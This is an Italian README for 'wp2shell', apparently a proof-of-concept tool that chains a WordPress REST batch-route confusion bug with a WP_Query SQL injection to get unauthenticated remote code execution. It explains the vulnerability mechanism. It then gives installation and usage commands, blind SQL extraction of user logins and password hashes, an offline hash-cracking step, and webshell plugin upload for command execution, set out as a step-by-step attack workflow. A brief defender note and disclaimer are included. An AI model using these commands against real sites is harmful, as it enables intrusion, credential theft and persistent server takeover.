
CVE-2026-63030 (RCE) + CVE-2026-60137 (SQLi)
POC di Esecuzione Remota di Codice non autenticata per WordPress Core (CVE-2026-63030 + CVE-2026-60137)
L'exploit wp2shell per una catena di vulnerabilità critica nel core di WordPress. Combina un bug di confusione delle route batch dell'API REST con un'iniezione SQL in WP_Query per ottenere esecuzione remota di codice non autenticata su installazioni WordPress vulnerabili.
| Dettaglio | Informazioni |
|---|---|
| CVE | CVE-2026-63030 (confusione delle route batch REST) + CVE-2026-60137 (SQLi author__not_in) |
| Versioni interessate | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Versioni corrette | 6.9.5, 7.0.2 |
| Autenticazione richiesta | Nessuna — non autenticata |
| CVSS | Critico (catena RCE) |
| Scoperto da | Adam Kues (Assetnote / Searchlight Cyber) |
| Dipendenze | Python 3.8+ — solo libreria standard |
L'exploit combina due bug nel core di WordPress:
CVE-2026-60137 — SQL Injection – Quando author__not_in viene passato come stringa invece che come array, WordPress salta il controllo di sanitizzazione is_array() e interpola il valore grezzo in una clausola SQL NOT IN (...).
CVE-2026-63030 — Confusione delle Route Batch – L'endpoint /wp-json/batch/v1 costruisce array paralleli $matches e $validation. Una sotto-richiesta malformata viene aggiunta a $validation ma non a $matches, provocando uno spostamento dell'indice di +1. La sotto-richiesta i viene gestita con l'handler della sotto-richiesta i+1.
Combinati insieme: Una richiesta POST /wp/v2/posts contenente una richiesta interna GET /wp/v2/users con una stringa author_exclude bypassa sia la allow-list dei metodi sia la sanitizzazione degli input. La stringa raggiunge WP_Query come author__not_in e viene interpolata nell'SQL — fornendo iniezione SQL cieca non autenticata.
Da qui, lo strumento può:
git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
Tutto qui. Non sono richiesti pacchetti di terze parti.
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
Avvia un menu interattivo con tutte le funzionalità disponibili tramite opzioni numerate.
check — Conferma Vulnerabilità (Sicura)Esegue una sonda a ritardo temporale per confermare la sfruttabilità. Non legge alcun dato e non modifica nulla.
./wp2shell.py http://target.com check
read — Estrazione Dati (Iniezione SQL Cieca)Estrae informazioni dal database utilizzando un'iniezione SQL cieca basata sul tempo.
# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read
# Extract user logins and password hashes
./wp2shell.py http://target.com read --users
# Extract database name
./wp2shell.py http://target.com read --database
# Extract MySQL version
./wp2shell.py http://target.com read --version
# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — Esecuzione Remota di CodiceRichiede credenziali di amministratore valide. L'iniezione SQL può recuperare l'hash della password, ma è necessario fornire la password in chiaro recuperata.
# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check
# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users
# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| Ramo | Versioni interessate | Corretta |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (solo SQLi, nessuna RCE) | 6.8.6 |
Le versioni precedenti alla 6.9.0 non sono interessate dalla catena RCE completa.
Per i Difensori:
POST /wp-json/batch/v1 con body requests annidati404 sulla route batch non significa sempre "patchato" — può anche indicare che un WAF/CDN sta bloccando l'accesso anonimo all'API RESTQuesto strumento è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati.
Per maggiori dettagli sulla vulnerabilità, consulta il blog di ricerca di Searchlight Cyber.
| Funzionalità | Descrizione |
|---|
| Verifica vulnerabilità | Sonda sicura a ritardo temporale — non legge alcun dato, non modifica nulla |
| Estrazione dati | Iniezione SQL cieca con ottimizzazione tramite ricerca binaria per un'estrazione efficiente |
| Dump hash utente | Estrae gli hash user_login e user_pass da wp_users |
| Esecuzione remota di codice | Autenticazione come amministratore, caricamento di un plugin webshell, esecuzione di comandi |
| Shell interattiva | Sessione di esecuzione comandi persistente |
| Output a colori | Feedback visivo chiaro per i risultati della scansione |
| Nessuna dipendenza | Usa solo la libreria standard di Python |
| Opzione | Descrizione |
|---|
--users | Estrae user_login e user_pass da wp_users |
--database | Estrae il nome del database corrente |
--version | Estrae la versione di MySQL |
--query "SQL" | Esegue una query SQL personalizzata (estrazione cieca) |
--user USER | Nome utente amministratore per RCE |
--password PASS | Password amministratore per RCE (in chiaro, recuperata tramite SQLi) |
--cmd CMD | Comando da eseguire tramite la webshell |